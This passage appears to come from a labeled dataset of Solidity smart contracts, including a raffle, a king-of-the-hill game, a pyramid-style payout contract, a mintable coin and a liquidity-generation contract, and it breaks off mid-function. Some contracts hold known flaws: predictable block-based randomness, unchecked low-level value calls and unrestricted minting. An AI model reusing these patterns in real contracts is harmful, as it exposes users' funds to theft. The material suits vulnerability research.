} else if (stage == StagesList.PreICO) {
tokensAvailable = availablePreICO;
} else if (stage == StagesList.ICO_w1) {
tokensAvailable = availableICO_w1;
} else if (stage == StagesList.ICO_w2) {
tokensAvailable = availableICO_w2;
}
if (tokensAvailable >= numTokens) {
amountToReturn = 0;
} else {
numTokens = tokensAvailable;
amountToReturn = _value.sub(numTokens.div(10**decimals).mul(tokenPrice[uint256(stage)]));
}
return (numTokens, amountToReturn);
}
function sendETH(uint _amount) private {
uint paymentSALARIES = _amount.mul(3).div(100);
uint paymentMARKETINGandBUSINESS = _amount.mul(4).div(100);
uint paymentRESEARCHandDEVELOPMENT = _amount.mul(14).div(100);
uint paymentRESERVE = _amount.mul(18).div(100);
uint paymentFACTORIES = _amount.mul(24).div(100);
uint paymentPLANEQUIPMENT = _amount.mul(19).div(100);
uint paymentPRODUCTION = _amount.mul(18).div(100);
SALARIES.transfer(paymentSALARIES);
MARKETINGandBUSINESS.transfer(paymentMARKETINGandBUSINESS);
RESEARCHandDEVELOPMENT.transfer(paymentRESEARCHandDEVELOPMENT);
RESERVE.transfer(paymentRESERVE);
FACTORIES.transfer(paymentFACTORIES);
PLANEQUIPMENT.transfer(paymentPLANEQUIPMENT);
PRODUCTION.transfer(paymentPRODUCTION);
}
} | 0 | 364 |
pragma solidity ^0.4.18;
contract KingOfTheHill {
uint public timeLimit = 1 hours;
uint public lastKing;
address public owner;
address public currentKing;
address[] public previousEntries;
event NewKing(address indexed newKing, uint timestamp);
event Winner(address indexed winner, uint winnings);
function KingOfTheHill() public {
owner = msg.sender;
}
function seed() external payable {
require(msg.sender == owner);
lastKing = block.timestamp;
}
function () external payable {
require(msg.value == 0.1 ether);
if ((lastKing + timeLimit) < block.timestamp) {
winner();
}
previousEntries.push(currentKing);
lastKing = block.timestamp;
currentKing = msg.sender;
NewKing(currentKing, lastKing);
}
function winner() internal {
uint winnings = this.balance - 0.1 ether;
currentKing.transfer(winnings);
Winner(currentKing, winnings);
}
function numberOfPreviousEntries() constant external returns (uint) {
return previousEntries.length;
}
} | 1 | 3,287 |
pragma solidity ^0.4.21;
contract ERC20Interface {
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract POWH {
function buy(address) public payable returns(uint256);
function withdraw() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract IronHands is Owned {
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier notPowh(address aContract){
require(aContract != address(weak_hands));
_;
}
event Deposit(uint256 amount, address depositer);
event Purchase(uint256 amountSpent, uint256 tokensReceived);
event Payout(uint256 amount, address creditor);
event Dividends(uint256 amount);
event Donation(uint256 amount, address donator);
event ContinuityBreak(uint256 position, address skipped, uint256 amount);
event ContinuityAppeal(uint256 oldPosition, uint256 newPosition, address appealer);
struct Participant {
address etherAddress;
uint256 payout;
}
uint256 throughput;
uint256 dividends;
uint256 public multiplier;
uint256 public payoutOrder = 0;
uint256 public backlog = 0;
Participant[] public participants;
mapping(address => uint256[]) public appeals;
mapping(address => uint256) public appealPosition;
mapping(address => uint256) public creditRemaining;
POWH weak_hands;
function IronHands(uint multiplierPercent, address powh) public {
multiplier = multiplierPercent;
weak_hands = POWH(powh);
}
function() payable public {
}
function deposit() payable public {
require(msg.value > 10);
uint256 amountCredited = (msg.value * multiplier) / 100;
participants.push(Participant(msg.sender, amountCredited));
backlog += amountCredited;
creditRemaining[msg.sender] += amountCredited;
emit Deposit(msg.value, msg.sender);
if(myDividends() > 0){
withdraw();
}
payout();
}
function payout() public {
uint balance = address(this).balance;
require(balance > 1);
throughput += balance;
uint investment = balance / 2;
balance -= investment;
uint256 tokens = weak_hands.buy.value(investment).gas(1000000)(msg.sender);
emit Purchase(investment, tokens);
while (balance > 0) {
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
if(payoutToSend > 0){
participants[payoutOrder].payout -= payoutToSend;
balance -= payoutToSend;
backlog -= payoutToSend;
creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend;
participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)();
emit Payout(payoutToSend, participants[payoutOrder].etherAddress);
}
if(balance > 0){
payoutOrder += 1;
}
if(payoutOrder >= participants.length){
return;
}
}
}
function myTokens() public view returns(uint256){
return weak_hands.myTokens();
}
function myDividends() public view returns(uint256){
return weak_hands.myDividends(true);
}
function totalDividends() public view returns(uint256){
return dividends;
}
function withdraw() public {
uint256 balance = address(this).balance;
weak_hands.withdraw.gas(1000000)();
uint256 dividendsPaid = address(this).balance - balance;
dividends += dividendsPaid;
emit Dividends(dividendsPaid);
}
function donate() payable public {
emit Donation(msg.value, msg.sender);
}
function backlogLength() public view returns (uint256){
return participants.length - payoutOrder;
}
function backlogAmount() public view returns (uint256){
return backlog;
}
function totalParticipants() public view returns (uint256){
return participants.length;
}
function totalSpent() public view returns (uint256){
return throughput;
}
function amountOwed(address anAddress) public view returns (uint256) {
return creditRemaining[anAddress];
}
function amountIAmOwed() public view returns (uint256){
return amountOwed(msg.sender);
}
function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPowh(tokenAddress) returns (bool success) {
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
function skip() public onlyOwner {
Participant memory skipped = participants[payoutOrder];
emit ContinuityBreak(payoutOrder, skipped.etherAddress, skipped.payout);
if(appeals[skipped.etherAddress].length == appealPosition[skipped.etherAddress]){
appeals[skipped.etherAddress].push(payoutOrder);
}else{
appeals[skipped.etherAddress][appealPosition[skipped.etherAddress]] = payoutOrder;
}
appealPosition[skipped.etherAddress] += 1;
payoutOrder += 1;
}
function appealSkip() public {
require(appealPosition[msg.sender] > 0);
appealPosition[msg.sender] -= 1;
uint appeal = appeals[msg.sender][appealPosition[msg.sender]];
require(payoutOrder > appeal);
emit ContinuityAppeal(payoutOrder, appeal, msg.sender);
payoutOrder = appeal;
}
} | 0 | 2,125 |
pragma solidity ^0.4.16;
contract Ethraffle_v3b {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint raffleId,
uint blockNumber,
uint winningNumber,
address winningAddress,
address seed1,
address seed2,
uint seed3,
bytes32 randHash
);
event TicketPurchase(
uint raffleId,
address contestant,
uint number
);
event TicketRefund(
uint raffleId,
address contestant,
uint number
);
uint public constant prize = 2.5 ether;
uint public constant fee = 0.03 ether;
uint public constant totalTickets = 50;
uint public constant pricePerTicket = (prize + fee) / totalTickets;
address feeAddress;
bool public paused = false;
uint public raffleId = 1;
uint nextTicket = 0;
mapping (uint => Contestant) contestants;
uint[] gaps;
function Ethraffle_v3b() public {
feeAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket < totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket == totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, block.number, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
raffleId++;
nextTicket = 0;
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
function getRefund() public {
uint refund = 0;
for (uint i = 0; i < totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refund += pricePerTicket;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refund > 0) {
msg.sender.transfer(refund);
}
}
function endRaffle() public {
if (msg.sender == feeAddress) {
paused = true;
for (uint i = 0; i < totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, block.number, totalTickets, address(0), address(0), address(0), 0, 0);
raffleId++;
nextTicket = 0;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == feeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 1 | 4,123 |
pragma solidity ^0.4.15;
contract ThanahCoin {
event Transfer(address indexed from, address indexed to, uint256 value);
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
uint public availableSupply;
mapping (address => uint256) public balanceOf;
uint private lastBlock;
uint private coinsPerBlock;
function ThanahCoin() {
name = "ThanahCoin";
symbol = "THC";
decimals = 0;
lastBlock = block.number;
totalSupply = 0;
availableSupply = 0;
coinsPerBlock = 144;
}
function transfer(address _to, uint256 _value) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function issue(address _to) {
_mintCoins();
uint issuedCoins = availableSupply / 100;
availableSupply -= issuedCoins;
balanceOf[_to] += issuedCoins;
Transfer(0, _to, issuedCoins);
}
function _mintCoins() internal {
uint elapsedBlocks = block.number - lastBlock;
lastBlock = block.number;
uint mintedCoins = elapsedBlocks * coinsPerBlock;
totalSupply += mintedCoins;
availableSupply += mintedCoins;
}
} | 1 | 4,569 |
interface ICOREGlobals {
function CORETokenAddress() external view returns (address);
function COREGlobalsAddress() external view returns (address);
function COREDelegatorAddress() external view returns (address);
function COREVaultAddress() external returns (address);
function COREWETHUniPair() external view returns (address);
function UniswapFactory() external view returns (address);
function TransferHandler() external view returns (address);
function addDelegatorStateChangePermission(address that, bool status) external;
function isStateChangeApprovedContract(address that) external view returns (bool);
}
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
pragma solidity >=0.4.24 <0.7.0;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
pragma solidity ^0.6.0;
contract ContextUpgradeSafe is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity ^0.6.0;
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
contract ReentrancyGuardUpgradeSafe is Initializable {
bool private _notEntered;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_notEntered = true;
}
modifier nonReentrant() {
require(_notEntered, "ReentrancyGuard: reentrant call");
_notEntered = false;
_;
_notEntered = true;
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity ^0.6.0;
interface ICoreVault {
function devaddr() external returns (address);
function addPendingRewards(uint _amount) external;
}
pragma solidity 0.6.12;
library COREIUniswapV2Library {
using SafeMath for uint256;
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'IUniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'IUniswapV2Library: ZERO_ADDRESS');
}
function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) internal returns (uint256 amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
}
interface ICOREVault {
function depositFor(address, uint256 , uint256 ) external;
}
interface IERC95 {
function wrapAtomic(address) external;
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function skim(address to) external;
function unpauseTransfers() external;
}
interface CERC95 {
function wrapAtomic(address) external;
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function skim(address to) external;
function name() external view returns (string memory);
}
interface ICORETransferHandler {
function sync(address) external returns(bool,bool);
}
contract cLGE is Initializable, OwnableUpgradeSafe, ReentrancyGuardUpgradeSafe {
using SafeMath for uint256;
IERC20 public tokenBeingWrapped;
address public coreEthPair;
address public wrappedToken;
address public preWrapEthPair;
address public COREToken;
address public _WETH;
address public wrappedTokenUniswapPair;
address public uniswapFactory;
uint256 public totalETHContributed;
uint256 public totalCOREContributed;
uint256 public totalWrapTokenContributed;
uint256 private wrappedTokenBalance;
uint256 private COREBalance;
uint256 public totalCOREToRefund;
uint256 public totalLPCreated;
uint256 private totalUnitsContributed;
uint256 public LPPerUnitContributed;
event Contibution(uint256 COREvalue, address from);
event COREBought(uint256 COREamt, address from);
mapping (address => uint256) public COREContributed;
mapping (address => uint256) public unitsContributed;
mapping (address => uint256) public unitsClaimed;
mapping (address => bool) public CORERefundClaimed;
mapping (address => address) public pairWithWETHAddressForToken;
mapping (address => uint256) public wrappedTokenContributed;
ICOREGlobals public coreGlobals;
bool public LGEStarted;
uint256 public contractStartTimestamp;
uint256 public LGEDurationDays;
bool public LGEFinished;
function initialize(uint256 daysLong, address _wrappedToken, address _coreGlobals, address _preWrapEthPair) public initializer {
require(msg.sender == address(0x5A16552f59ea34E44ec81E58b3817833E9fD5436));
OwnableUpgradeSafe.__Ownable_init();
ReentrancyGuardUpgradeSafe.__ReentrancyGuard_init();
contractStartTimestamp = uint256(-1);
LGEDurationDays = daysLong.mul(1 days);
coreGlobals = ICOREGlobals(_coreGlobals);
coreEthPair = coreETHPairGetter();
(COREToken, _WETH) = (IUniswapV2Pair(coreEthPair).token0(), IUniswapV2Pair(coreEthPair).token1());
address tokenBeingWrappedAddress = IUniswapV2Pair(_preWrapEthPair).token1();
tokenBeingWrapped = IERC20(tokenBeingWrappedAddress);
pairWithWETHAddressForToken[address(tokenBeingWrapped)] = _preWrapEthPair;
pairWithWETHAddressForToken[IUniswapV2Pair(coreEthPair).token0()] = coreEthPair;
wrappedToken = _wrappedToken;
preWrapEthPair = _preWrapEthPair;
uniswapFactory = coreGlobals.UniswapFactory();
}
function setTokenBeingWrapped(address token, address tokenPairWithWETH) public onlyOwner {
tokenBeingWrapped = IERC20(token);
pairWithWETHAddressForToken[token] = tokenPairWithWETH;
}
function startLGE() public onlyOwner {
require(LGEStarted == false, "Already started");
contractStartTimestamp = block.timestamp;
LGEStarted = true;
updateRunningAverages();
}
function isLGEOver() public view returns (bool) {
return block.timestamp > contractStartTimestamp.add(LGEDurationDays);
}
function claimLP() nonReentrant public {
IUniswapV2Pair(wrappedTokenUniswapPair).transfer(msg.sender, _claimLP());
}
function claimAndStakeLP() nonReentrant public {
address vault = coreGlobals.COREVaultAddress();
IUniswapV2Pair(wrappedTokenUniswapPair).approve(vault, uint(-1));
ICOREVault(vault).depositFor(msg.sender,1, _claimLP());
}
function _claimLP() internal returns (uint256 sentAmt){
require(LGEFinished == true, "LGE : Liquidity generation not finished");
require(unitsContributed[msg.sender].sub(unitsClaimed[msg.sender]) > 0, "LEG : Nothing to claim");
sentAmt = unitsContributed[msg.sender].sub(getCORERefundForPerson(msg.sender)).mul(LPPerUnitContributed).div(1e18);
unitsClaimed[msg.sender] = unitsContributed[msg.sender];
}
function buyToken(address tokenTarget, uint256 amtToken, address tokenSwapping, uint256 amtTokenSwappingInput, address pair) internal {
(address token0, address token1) = COREIUniswapV2Library.sortTokens(tokenSwapping, tokenTarget);
IERC20(tokenSwapping).transfer(pair, amtTokenSwappingInput);
if(tokenTarget == token0) {
IUniswapV2Pair(pair).swap(amtToken, 0, address(this), "");
}
else {
IUniswapV2Pair(pair).swap(0, amtToken, address(this), "");
}
if(tokenTarget == COREToken){
emit COREBought(amtToken, msg.sender);
}
updateRunningAverages();
}
function updateRunningAverages() internal{
if(_averagePrices[address(tokenBeingWrapped)].lastBlockOfIncrement != block.number) {
_averagePrices[address(tokenBeingWrapped)].lastBlockOfIncrement = block.number;
updateRunningAveragePrice(address(tokenBeingWrapped), false);
}
if(_averagePrices[COREToken].lastBlockOfIncrement != block.number) {
_averagePrices[COREToken].lastBlockOfIncrement = block.number;
updateRunningAveragePrice(COREToken, false);
}
}
function coreETHPairGetter() public view returns (address) {
return coreGlobals.COREWETHUniPair();
}
function getPairReserves(address pair) internal view returns (uint256 wethReserves, uint256 tokenReserves) {
address token0 = IUniswapV2Pair(pair).token0();
(uint256 reserve0, uint reserve1,) = IUniswapV2Pair(pair).getReserves();
(wethReserves, tokenReserves) = token0 == _WETH ? (reserve0, reserve1) : (reserve1, reserve0);
}
function finalizeTokenWrapAddress(address _wrappedToken) onlyOwner public {
wrappedToken = _wrappedToken;
}
function safetyTokenWithdraw(address token) onlyOwner public {
require(block.timestamp > contractStartTimestamp.add(LGEDurationDays).add(1 days));
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
function safetyETHWithdraw() onlyOwner public {
require(block.timestamp > contractStartTimestamp.add(LGEDurationDays).add(1 days));
msg.sender.call.value(address(this).balance)("");
}
function extendLGE(uint numHours) public {
require(msg.sender == 0xd5b47B80668840e7164C1D1d81aF8a9d9727B421 || msg.sender == 0xC91FE1ee441402D854B8F22F94Ddf66618169636, "LGE: Requires admin");
require(numHours <= 24);
LGEDurationDays = LGEDurationDays.add(numHours.mul(1 hours));
}
function addLiquidityAtomic() public {
require(LGEStarted == true, "LGE Didn't start");
require(LGEFinished == false, "LGE : Liquidity generation finished");
require(isLGEOver() == false, "LGE is over.");
if(IUniswapV2Pair(preWrapEthPair).balanceOf(address(this)) > 0) {
unwrapLiquidityTokens();
} else{
( uint256 tokenBeingWrappedPer1ETH, uint256 coreTokenPer1ETH) = getHowMuch1WETHBuysOfTokens();
uint256 balWETH = IERC20(_WETH).balanceOf(address(this));
uint256 totalCredit;
uint256 tokenBeingWrappedBalNow = IERC20(tokenBeingWrapped).balanceOf(address(this));
uint256 tokenBeingWrappedBalChange = tokenBeingWrappedBalNow.sub(wrappedTokenBalance);
if(tokenBeingWrappedBalChange > 0) {
totalWrapTokenContributed = totalWrapTokenContributed.add(tokenBeingWrappedBalChange);
wrappedTokenContributed[msg.sender] = wrappedTokenContributed[msg.sender].add(tokenBeingWrappedBalChange);
totalCredit = handleTokenBeingWrappedLiquidityAddition(tokenBeingWrappedBalChange,tokenBeingWrappedPer1ETH,coreTokenPer1ETH) ;
wrappedTokenBalance = IERC20(tokenBeingWrapped).balanceOf(address(this));
COREBalance = IERC20(COREToken).balanceOf(address(this));
}
if(balWETH > 0){
totalETHContributed = totalETHContributed.add(balWETH);
totalCredit = totalCredit.add( handleWETHLiquidityAddition(balWETH,tokenBeingWrappedPer1ETH,coreTokenPer1ETH) );
COREBalance = IERC20(COREToken).balanceOf(address(this));
}
uint256 COREBalNow = IERC20(COREToken).balanceOf(address(this));
uint256 balCOREChange = COREBalNow.sub(COREBalance);
if(balCOREChange > 0) {
COREContributed[msg.sender] = COREContributed[msg.sender].add(balCOREChange);
totalCOREContributed = totalCOREContributed.add(balCOREChange);
}
COREBalance = COREBalNow;
uint256 unitsChange = totalCredit.add(balCOREChange);
unitsContributed[msg.sender] = unitsContributed[msg.sender].add(unitsChange);
totalUnitsContributed = totalUnitsContributed.add(unitsChange);
emit Contibution(totalCredit, msg.sender);
}
}
function handleTokenBeingWrappedLiquidityAddition(uint256 amt,uint256 tokenBeingWrappedPer1ETH,uint256 coreTokenPer1ETH) internal returns (uint256 coreUnitsCredit) {
uint256 outWETH;
(uint256 reserveWETHofWrappedTokenPair, uint256 reserveTokenofWrappedTokenPair) = getPairReserves(preWrapEthPair);
if(COREBalance.div(coreTokenPer1ETH) <= wrappedTokenBalance.div(tokenBeingWrappedPer1ETH)) {
outWETH = COREIUniswapV2Library.getAmountOut(amt, reserveTokenofWrappedTokenPair, reserveWETHofWrappedTokenPair);
buyToken(_WETH, outWETH, address(tokenBeingWrapped) , amt, preWrapEthPair);
(uint256 buyReserveWeth, uint256 reserveCore) = getPairReserves(coreEthPair);
uint256 outCore = COREIUniswapV2Library.getAmountOut(outWETH, buyReserveWeth, reserveCore);
buyToken(COREToken, outCore, _WETH ,outWETH,coreEthPair);
} else {
outWETH = COREIUniswapV2Library.getAmountOut(amt, reserveTokenofWrappedTokenPair , reserveWETHofWrappedTokenPair);
}
coreUnitsCredit = outWETH.mul(coreTokenPer1ETH).div(1e18);
}
function handleWETHLiquidityAddition(uint256 amt,uint256 tokenBeingWrappedPer1ETH,uint256 coreTokenPer1ETH) internal returns (uint256 coreUnitsCredit) {
if(COREBalance.div(coreTokenPer1ETH) <= wrappedTokenBalance.div(tokenBeingWrappedPer1ETH)) {
(uint256 reserveWeth, uint256 reserveCore) = getPairReserves(coreEthPair);
uint256 outCore = COREIUniswapV2Library.getAmountOut(amt, reserveWeth, reserveCore);
buyToken(COREToken, outCore,_WETH,amt, coreEthPair);
} else {
(uint256 reserveWeth, uint256 reserveToken) = getPairReserves(preWrapEthPair);
uint256 outToken = COREIUniswapV2Library.getAmountOut(amt, reserveWeth, reserveToken);
buyToken(address(tokenBeingWrapped), outToken,_WETH, amt,preWrapEthPair);
wrappedTokenBalance = IERC20(tokenBeingWrapped).balanceOf(address(this));
wrappedTokenContributed[msg.sender] = wrappedTokenContributed[msg.sender].add(outToken);
}
coreUnitsCredit = amt.mul(coreTokenPer1ETH).div(1e18);
}
function getHowMuch1WETHBuysOfTokens() public view returns (uint256 tokenBeingWrappedPer1ETH, uint256 coreTokenPer1ETH) {
return (getAveragePriceLast20Blocks(address(tokenBeingWrapped)), getAveragePriceLast20Blocks(COREToken));
}
fallback() external payable {
if(msg.sender != _WETH) {
addLiquidityETH();
}
}
function addLiquidityETH() nonReentrant public payable {
IWETH(_WETH).deposit{value: msg.value}();
addLiquidityAtomic();
}
function addLiquidityWithTokenWithAllowance(address token, uint256 amount) public nonReentrant {
IERC20(token).transferFrom(msg.sender, address(this), amount);
addLiquidityAtomic();
}
function unwrapLiquidityTokens() internal {
IUniswapV2Pair pair = IUniswapV2Pair(preWrapEthPair);
pair.transfer(preWrapEthPair, pair.balanceOf(address(this)));
pair.burn(address(this));
addLiquidityAtomic();
}
mapping(address => PriceAverage) _averagePrices;
struct PriceAverage{
uint8 lastAddedHead;
uint256[20] price;
uint256 cumulativeLast20Blocks;
bool arrayFull;
uint lastBlockOfIncrement;
}
function getAveragePriceLast20Blocks(address token) public view returns (uint256){
return _averagePrices[token].cumulativeLast20Blocks.div(_averagePrices[token].arrayFull ? 20 : _averagePrices[token].lastAddedHead);
}
function updateRunningAveragePrice(address token, bool isRescue) public returns (uint256) {
PriceAverage storage currentAveragePrices = _averagePrices[token];
address pairWithWETH = pairWithWETHAddressForToken[token];
(uint256 wethReserves, uint256 tokenReserves) = getPairReserves(address(pairWithWETH));
uint256 outTokenFor1WETH = COREIUniswapV2Library.getAmountOut(1e18, wethReserves, tokenReserves);
uint8 i = currentAveragePrices.lastAddedHead;
uint256 lastQuote;
if(i == 0) {
lastQuote = currentAveragePrices.price[19];
}
else {
lastQuote = currentAveragePrices.price[i - 1];
}
if(lastQuote != 0 && isRescue == false){
require(outTokenFor1WETH < lastQuote.mul(15000).div(10000), "Change too big from previous price");
}
currentAveragePrices.cumulativeLast20Blocks = currentAveragePrices.cumulativeLast20Blocks.sub(currentAveragePrices.price[i]);
currentAveragePrices.price[i] = outTokenFor1WETH;
currentAveragePrices.cumulativeLast20Blocks = currentAveragePrices.cumulativeLast20Blocks.add(outTokenFor1WETH);
currentAveragePrices.lastAddedHead++;
if(currentAveragePrices.lastAddedHead > 19) {
currentAveragePrices.lastAddedHead = 0;
currentAveragePrices.arrayFull = true;
}
return currentAveragePrices.cumulativeLast20Blocks;
}
function rescueRatioLock(address token) public onlyOwner{
updateRunningAveragePrice(token, true);
}
function addLiquidityToPairPublic() nonReentrant public{
addLiquidityToPair(true,0,0);
}
function getUnitsContributedPerFenny(uint256 amt) internal pure returns (uint256 units){
units = amt.mul(1e18).div(14000);
}
bool public LPmismatchCredited;
function matchCreditFromLPContributionBug() onlyOwner public {
require(LPmismatchCredited == false , "Already refunded");
addUnitsContributed(0x6996C784cdA7a2841C3a6F579C896477586A1D9A, 15_219);
addUnitsContributed(0x38Bc5196d8b21782372a843E5A505d9F457e6ff8, 7_280);
addUnitsContributed(0x91a90ACd8791ABB4c07c69aBBca82822c3451584, 249);
